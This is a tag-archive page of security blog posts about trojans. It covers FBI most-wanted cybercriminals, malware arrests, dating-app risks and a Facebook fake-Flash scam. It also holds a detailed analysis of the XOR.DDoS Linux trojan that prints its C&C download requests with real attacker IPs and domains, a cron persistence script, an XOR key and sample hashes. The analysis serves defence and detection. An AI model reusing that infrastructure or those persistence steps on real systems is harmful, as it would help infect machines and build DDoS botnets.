A recently identified trojan porn clicker is still infecting apps on Google Play.
The post Porn clicker keeps infecting apps on Google Play appeared first on We Live Security.
Tag Archives: Trojan
Get a total of $4,2 million for the FBI’s most wanted hackers
It’s most likely not a huge surprise that there is such a list, and while it’s probably not as well-known as its “big brother”, the rewards offered for information leading to the arrest and/or conviction of 5 of the top most wanted cybercriminals on that list is not too shabby: The Federal Bureau of Investigation is willing to pay a total reward of $4.2 million!
So who is actually on the list? Let’s take a look.
EVGENIY MIKHAILOVICH BOGACHEV
Evgeniy Mikhailovich Bogachev, aka “lucky12345” and “slavik”, became famous as being the alleged mastermind behind the Trojan called “Zeus”. The Russian currently fetches a reward of $3 million.
NICOLAE POPESCU
The Romanian Nicolae Popescu apparently was involved in Internet Fraud schemes and made quite a lot of money with it. The FBI is offering a reward of $1 Million for him.
ALEXSEY BELAN
Belan is only worth $100,000 to the authorities. The Russian is wanted for allegedly having broken into three major United States-based e-commerce companies. Afterwards he tried to sell the stolen usernames and passwords on the black market.
PETERIS SAHUROVS
Being accused of selling malware laced ads that distributed ransomware, the reward for the Latvian is currently at $50,000.
CARLOS ENRIQUE PEREZ-MELARA
While the reward for Melara is set at $50,000, my guess is that the FBI actually wants to hire the guy: He allegedly was involved in manufacturing spyware “which was used to intercept the private communications of hundreds, if not thousands, of victims”.
For the rest of the list just go here.
The post Get a total of $4,2 million for the FBI’s most wanted hackers appeared first on Avira Blog.
Businessman hackers brought down in USA and Europe
Cybercrooks run their organizations like businesses these days. They have multinational offices, marketing departments, business development, and technical support teams. Maybe they also need some security…
Major cybercrooks taken down
Malware entrepreneur sentenced to 57 months in prison
One such malware entrepreneur, Alex Yucel, sold malware through a website that he operated, to other hackers. The Blackshades malware allowed hackers to remotely control their victims’ computers. They could do such things as log the victim’s keystrokes, spy through webcams, and steal usernames and passwords for email and other services. They could also turn their computers into bots which were used to perform Distributed Denial of Service (DDoS) attacks on other computers, without the knowledge of the victim.
Manhattan U.S. Attorney Preet Bharara said: “Alex Yucel created, marketed, and sold software that was designed to accomplish just one thing – gain control of a computer, and with it, a victim’s identity and other important information. This malware victimized thousands of people across the globe and invaded their lives. But Yucel’s computer hacking days are now over.” See the Department of Justice press release here.
Yucel sold the software for as little as $40 on PayPal and various black market forums. The profits from sales of the malware is estimated to be at $350,000. Yusel plead guilty to computer hacking and was sentenced to almost five years in a New York prison. Last year more than 100 customers of Blackshades were arrested in massive raids in Europe and Australia.
Cybercrooks business dismantled in Ukraine
In Europe, a joint investigation team brought down a major cybercriminal group in Ukraine. These high-level cybercrooks are suspected of developing, exploiting, and distributing well-known banking Trojans Zeus and SpyEye. The malware they developed attacked online banking systems in Europe and elsewhere. The damages are estimated to be over 2 million euros.
Their business was organized into specialty groups. Some ran a network of tens of thousands of computers, others harvested victims banking credentials such as passwords and account numbers, and others laundered their ill-gotten gains through money mule networks. This group of cybercrooks also had a marketing team that advertised on underground forums, sold their hacking services to other cybercrooks, and had a business development department seeking cooperation partners.
It took investigators and judicial authorities from six different European countries, supported by Eurojust and Europol, to stop this major cybercrime organization.
“In one of the most significant operations coordinated by the agency in recent years Europol worked with an international team of investigators to bring down a very destructive cybercriminal group,” said Rob Wainwright, Director of Europol.
Adult FriendFinder & Co.: Dangerous Cyber Liaisons
Let me start out by saying that this post is not about whether dating websites/apps are good or bad. I’m not qualified to make that call. But if you’re using them, you should understand the risks. And as your reward for reading (and hopefully sharing this post), I’ve listed at the bottom Tinder’s best – and most dangerous pickup lines… So let’s get started – with a quiz!
What do Adult FriendFinder, CupidMedia, eHarmony and Tinder have in common?
Yes, they all regularly lead to matches made in cyber heaven (and no doubt, hellish heartbreaks), but that’s not the point: they all display(ed) security vulnerabilities. Let’s walk through them one-by-one.
1. Putting yourself out there… And all your data too
Adult FriendFinder was just hacked. Happens to companies all the time you say? Fair enough, but what is remarkable here is the quality of leaked data: 3.5 million gorgeous profile pics and sexy alias’ – along with names, emails, zip codes, IP addresses, passwords and sexual preferences. In other words, the perfect cocktail needed for targeted spam and identity theft.
TIPS:
- Create a new email address dedicated to the dating website.
- Use a nickname or alias instead of your full name.
- Create a unique and complex password for that platform (back in 2012, eHarmony accounts with the glorious password – “password”, were compromised).
- If twitterpated makes you forgetful, use a password manager to create and store these passwords for you.
2. I know where you hang out
Tinder is a very popular dating app, which is premised on selecting profiles of people who are located close to you (very popular with Olympians at Sochi…). Once both parties ‘like’ each other’s profiles, they can start chatting.
Back in 2014, a vulnerability was identified that enabled hackers to pinpoint users’ exact location in real-time. This facilitated stalking and opened the door (quite literally) to burglaries, knowing that the user was not at home.
Although this vulnerability has since been fixed, a recent study by IBM identified 26 out of 41 dating apps on Android that had “medium or high security vulnerabilities”. These apps tend to request excessive permissions and run up expensive charges…
TIPS:
- Although the names of unsafe apps were not divulged, IBM did say that Match, OkCupid and Tinder were not on the “blacklist”…
- Always keep your apps up-to-date to reduce the chances of falling prey to security vulnerabilities.
I can see you… Through your camera and webcam…
Remember Blackshades – that creepy Trojan that gave hackers access to webcams (and was used by a sextortionist to prey on Miss Teen USA)? Like most chatting platforms, dating websites and apps are popular avenues for distributing malware. After all, an innocuous-looking link, promising a revealing picture, can just as easily open a harmful website or file. To paraphrase the late Robin Williams, we were given a brain and nether regions but only enough blood to run one at a time.
TIPS:
- Use common sense: if an unknown user is offering to share revealing pictures, pass.
- Use an antivirus on your devices. I also recommend you use an app that shows you what permissions your mobile apps are getting. Avira’s free Android app includes both these functionalities and can be found on Google Play.
As promised… Tinder’s Most Dangerous Pickup Lines…*
- I know this profile’s fake, but can I get the name of the model you used?
- Going to undress… want to watch on webcam?
- Credit card is to prove your age… Can’t show stuff to minors…
- I don’t have any pics on my phone, but here’s one I have in email, answer me on text, not here.
- I’m still recovering from last night with this iPhone game. Play with me and I’ll give you my number.
* Disclosure: explicit sexual content was removed from the pick-up lines.
The post Adult FriendFinder & Co.: Dangerous Cyber Liaisons appeared first on Avira Blog.
Don’t click on the porn video your Facebook friend shared
Fake Flash Player updates fool Facebook users.
Facebook users get malware from clicking on fake Flash Player updates.
Facebook users have fallen victim to a recycled scam, and we want to make sure that all of our readers are fore-warned. Cybercrooks use social engineering tactics to fool people into clicking, and when the bait comes from a trusted friend on Facebook, it works very well.
Here’s how the scam works – your friend sends you an interesting video clip; in the latest iteration you are tagged and lots of other friends are also tagged – this makes it seem more trustworthy. The video stops a few seconds in and when you click on it, a message that your Flash Player needs to be updated for it to continue comes up. Since you have probably seen messages from Adobe to update your Flash Player, this does not raise any red flags. Being conscientious about updating your software, as well as curious about what happens next in the video, you click the link. That’s when the fun really begins.
The fake Flash Player is actually the downloader of a Trojan that infects your account. Security researcher Mohammad Faghani, told The Guardian, …” once it infects someone’s account, it re-shares the clip while tagging up to 20 of their friends – a tactic that helps it spread faster than previous Facebook-targeted malware that relied on one-to-one messaging on Facebook.”
How to protect yourself from Facebook video scams
Don’t fall for it. Videos that are supposedly sensational or shocking are also suspect. Be very cautious when clicking.
Does your friend really watch this stuff? If it seems out of character for your friend to share something like that with you, beware. Their account may have been infected by malware, and it’s possible they don’t even know this is being shared. Do them a favor and tell them about it.
Be careful of shortened links. The BBB says that scammers use link-shortening services to disguise malicious links. Don’t fall for it. If you don’t recognize the link destination, don’t click.
Use up-to-date antivirus software like Avast Free Antivirus with full real-time protection.
Report suspicious activity to Facebook. If your account was compromised, make sure to change your password.
Linux DDoS Trojan hiding itself with an embedded rootkit
At the end of September 2014, a new threat for the Linux operating system dubbed XOR.DDoS forming a botnet for distributed denial-of-service attacks was reported by the MalwareMustDie! group. The post mentioned the initial intrusion of SSH connection, static properties of related Linux executable and encryption methods used. Later, we realized that the installation process is customized to a victim’s Linux environment for the sake of running an additional rootkit component. In this blog post, we will describe the installation steps, the rootkit itself, and the communication protocol for getting attack commands.
Installation Script & Infection Vector
The infection starts by an attempt to brute force SSH login credentials of the root user. If successful, attackers gain access to the compromised machine, then install the Trojan usually via a shell script. The script contains procedures like main, check, compiler, uncompress, setup, generate, upload, checkbuild, etc. and variables like __host_32__, __host_64__, __kernel__, __remote__, etc. The main procedure decrypts and selects the C&C server based on the architecture of the system.
In the requests below, iid parameter is the MD5 hash of the name of the kernel version. The script first lists all the modules running on the current system by the command lsmod. Then it takes the last one and extracts its name and the parameter vermagic. In one of our cases, the testing environment runs under “3.8.0-19-generic SMP mod_unload modversions 686 “, which has the MD5 hash equal to CE74BF62ACFE944B2167248DD0674977.
Three GET requests are issued to C&C. The first one is performed by the check procedure (note the original misspelling):
| request: GET /check?iid=CE74BF62ACFE944B2167248DD0674977&kernel=3.8.0reply: 1001|CE74BF62ACFE944B2167248DD0674977|header directory is exists! |
Then compiler procedure issues another GET request in which parameters like C&C servers, version info, etc, are passed to the server where they are compiled into a newly created executable:
| request: GET /compiler?iid=CE74BF62ACFE944B2167248DD0674977&username=admin &password=admin&ip=103.25.9.245:8005%7C103.240.141.50:8005%7C 66.102.253.30:8005%7Cndns.dsaj2a1.org:8005%7Cndns.dsaj2a.org:8005%7C ndns.hcxiaoao.com:8005%7Cndns.dsaj2a.com:8005 &ver=3.8.0-19-generic%5C%20SMP%5C%20mod_unload%5C%20modversions%5C%20686%5C%20 &kernel=3.8.0 reply: 1001|CE74BF62ACFE944B2167248DD0674977|header directory is exists! |
Finally, the third GET request downloads the customized version of the Trojan’s binary in the form of a gzip archive, which is unpacked and executed:
| request: GET /upload/module/CE74BF62ACFE944B2167248DD0674977/build.tgz reply: 1001|CE74BF62ACFE944B2167248DD0674977|create ok |
The previous steps run only in the case that there already is a built version for the current kernel version on the server side. If not, the script locates the kernel headers in /lib/modules/%s/build/ directory, where %s means the return value after calling the command uname with parameter r, then packs all files and uploads them to the C&C server using a custom uploader called mini. The steps of the first scenario follows.
The rootkit component is a loadable kernel module (LKM). To install it successfully on a system, the vermagic value of LKM needs to agree with the version of the kernel headers installed on the user’s system. That’s the motivation behind previous installation steps. If previous sequences fail, the script installs a Trojan omitting the rootkit component.
Structure & Persistence
The binary structure of the main executable is as follows:
The persistence of the Trojan is achieved in multiple ways. First, it is installed into the /boot/ directory with a random 10-character string. Then a script with the identical name as the Trojan is created in the /etc/init.d directory. It is together with five symbolic links pointing to the script created in /etc/rc%u.d/S90%s, where %u runs from 1 to 5 and %s is substitute with the random. Moreover, a script /etc/cron.hourly/cron.sh is added with the content:
| #!/bin/sh PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin’ for i in `cat /proc/net/dev|grep :|awk -F: {‘,27h,’print $1′,27h,’}`; do ifconfig $i up& done cp /lib/udev/udev /lib/udev/debug /lib/udev/debug |
The line “*/3 * * * * root /etc/cron.hourly/cron.sh” is inserted in the crontab.
The functionality of the main executable lies in three infinite loops responsible for 1. downloading and executing instructions in a bot’s configuration file, 2. reinstalling itself as the /lib/udev/udev file, and 3. performing flooding commands. The configuration file contains four categories of lists: md5, denyip, filename and rmfile and mean killing a running process based on its CRC checksum, on the active communication with an IP from the list, on a filename, and finally removing a file with a specified name. In the next figure, a fragment of the config file is displayed (known filenames connected with competing flooding Trojans are highlighted):
The lists of processes to kill or remove before its own installation is typical for flooding Trojans.
Also we have to note that there is a variant of this Trojan compiled for the ARM architecture. This suggests that the list of potentially infected systems (besides 32-bit and 64-bit Linux web servers and desktops) is extended for routers, Internet of Things devices, NAS storages or 32-bit ARM servers (however, it has not been observed in the wild yet). It contains an additional implementation of the download-and-execute feature in an infinite loop called daemondown:
A few days ago, a new 32-bit variant of this Trojan with few modifications was observed. The bot is installed as /lib/libgcc4.so file, the unique file containing its identification string (see later) was /var/run/udev.pid, the initialization script was /etc/cron.hourly/udev.sh and the rootkit features were completely omitted. The presence of all these files could serve as an indicator of compromise (IoC).
LKM Rootkit
Trojans for the Windows platform have used various rootkit features for a very long time. It is known that some trojanized flooding tools had the Windows variant utilizing the Agony rootkit (its source code has been publicly shared and available since 2006). We presented research related to these malicious DDoS tools at Botconf 2014 in a survey called Chinese Chicken: Multiplatform-DDoS-Botnets. Now there is a flooding Trojan for Linux that also contains an embedded rootkit. It’s main functionality is to hide various aspects of the Trojan’s activity and is provided by procedures in the switch table:
The Trojan running in the userspace requests these features from the rootkit in the kernel by ioctl command with a specific code (0×9748712). The presence of the rootkit is first checked by opening a process with the name rs_dev:
The own request needs two parameters: One specifies the number of the command to be performed by the rootkit, and the other one is the number of the port to be hidden. Below is an example of how the Trojan hides the TCP port (notice the task value 3):
Based on the procedure names, it is likely that the malware authors were inspired by the open source project called Suterusu to build up their rootkit. The Trojan from last year called Hand of Thief failed in its ambitions to be the first banking Trojan for Linux desktops. It also borrowed part of its code from an existing open source project, namely methods of process injection. The description of the project says “An LKM rootkit targeting Linux 2.6/3.x on x86(_64), and ARM”. Another article related to Suterusu was published in January 2013.
C&C communication
The communication is encrypted in both directions with the same hard-coded XOR key (BB2FA36AAA9541F0) as the configuration file. An additional file /var/run/sftp.pid containing an unique magic string of length 32 bytes is stored and utilized as an unique identifier of a victim’s machine within the communication. There is a list of C&C commands, for which the bot listens to: To start flooding, to stop flooding, to download-and-execute, to self-update, to send the MD5 hash of its memory, and to get list of processes to kill:
The list of C&Cs is stored in the shell script in the __remote__ variable. The Trojan first sends information about the running system to the C&C server (very likely to be displayed on a panel of a botnet operator). The replies usually arrived in a form of a command. The header of the command is 0x1C bytes long and is stored within a structure called Header. The first command is to stop any flooding attack and the next one to start one with the list of hosts provided. The entries of the Header are shown below. Highlighted parameters are the size of the total size of a command (Size, 0x102C), the task number (Order, 0×3, i.e. _cmd_start in the switch table), and the number of flooding tasks (Task_Num, 0xF):
The rest of the flooding command contains an encrypted structure with attack tasks. After decryption, we can see an IP address (red color) and ports (green color) which will be flooded by the Trojan and other parameters of the DDoS attack (e.g. grey color decides the type of attack: SYN/DNS).
Acknowledgement
Thanks to my colleague, Jaromír Hořejší, for cooperation on this analysis. Pop-art was created by the independent digital artist Veronika Begánová.
Sources
Here are the samples connected with the analysis:
| Install script | BA84C056FB4541FE26CB0E10BC6A075585 990F3CE3CDE2B49475022AD5254E5B |
BV:Xorddos-B [Trj] |
| Xorddos Uploader | 44153031700A019E8F9E434107E4706A705 F032898D3A9819C4909B2AF634F18 |
ELF:Xorddos-J [Trj] |
| Xorddos Trojan for EM_386 | AD26ABC8CD8770CA4ECC7ED20F37B510E 827E7521733ECAEB3981BF2E4A96FBF |
ELF:Xorddos-A [Trj] |
| Xorddos Trojan for EM_x86_64 | 859A952FF05806C9E0652A9BA18D521E57 090D4E3ED3BEF07442E42CA1DF04B6 |
ELF:Xorddos-A [Trj] |
| Xorddos Rootkit | 6BE322CD81EBC60CFEEAC2896B26EF015D 975AD3DDA95AE63C4C7A28B7809029 |
ELF:Xorddos-D [Rtk] |
| Xorddos Trojan for EM_ARM | 49963D925701FE5C7797A728A044F09562 CA19EDD157733BC10A6EFD43356EA0 |
ELF:Xorddos-I [Trj] |
| Xorddos Trojan no rootkit | 24B9DB26B4335FC7D8A230F04F49F87B1F 20D1E60C2FE6A12C70070BF8427AFF |
ELF:Xorddos-K [Trj] |
Steam gamers targeted with ‘free screensaver’ phishing scam
Gamers on the popular Steam gaming service have been targeted with phishing scams via the service’s popular Marketplace – with apparent ‘bargains’ offering a sting in the tail.
The post Steam gamers targeted with ‘free screensaver’ phishing scam appeared first on We Live Security.
